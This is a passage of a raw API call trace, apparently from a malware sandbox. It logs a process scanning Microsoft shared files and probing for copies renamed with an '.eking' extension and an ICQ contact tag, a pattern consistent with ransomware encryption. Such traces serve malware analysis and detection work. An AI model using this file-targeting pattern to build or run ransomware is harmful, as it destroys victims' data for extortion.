lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0232.257] CloseHandle (hObject=0x358) returned 1 [0232.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0232.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0232.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.259] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0232.259] CloseHandle (hObject=0x358) returned 1 [0232.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0232.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0232.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.283] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=177664) returned 1 [0232.284] CloseHandle (hObject=0x358) returned 1 [0232.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0232.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0232.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.287] SetEvent (hEvent=0x2b8) returned 1 [0232.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.288] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0232.288] CloseHandle (hObject=0x358) returned 1 [0232.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0232.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0232.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.289] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9728) returned 1 [0232.289] CloseHandle (hObject=0x358) returned 1 [0232.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0232.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0232.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.290] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0232.290] CloseHandle (hObject=0x358) returned 1 [0232.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0232.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0232.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.294] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=41984) returned 1 [0232.294] CloseHandle (hObject=0x358) returned 1 [0232.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0232.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0232.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.297] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=391040) returned 1 [0232.297] CloseHandle (hObject=0x358) returned 1 [0232.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0232.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0232.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.298] SetEvent (hEvent=0x2b8) returned 1 [0232.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.299] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9728) returned 1 [0232.299] CloseHandle (hObject=0x358) returned 1 [0232.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0232.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0232.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.302] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=22016) returned 1 [0232.302] CloseHandle (hObject=0x358) returned 1 [0232.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0232.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0232.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.303] SetEvent (hEvent=0x2b8) returned 1 [0232.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.304] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1053184) returned 1 [0232.304] CloseHandle (hObject=0x358) returned 1 [0232.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0232.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0232.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.308] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0232.308] CloseHandle (hObject=0x358) returned 1 [0232.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0232.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0232.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.309] SetEvent (hEvent=0x2b8) returned 1 [0232.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.315] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0232.316] CloseHandle (hObject=0x358) returned 1 [0232.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0232.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0232.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.321] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=30720) returned 1 [0232.321] CloseHandle (hObject=0x358) returned 1 [0232.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0232.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0232.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.321] SetEvent (hEvent=0x2b8) returned 1 [0232.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.326] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=363728) returned 1 [0232.326] CloseHandle (hObject=0x358) returned 1 [0232.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0232.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0232.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.327] SetEvent (hEvent=0x2b8) returned 1 [0232.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.329] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=590523) returned 1 [0232.329] CloseHandle (hObject=0x358) returned 1 [0232.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0232.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0232.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: 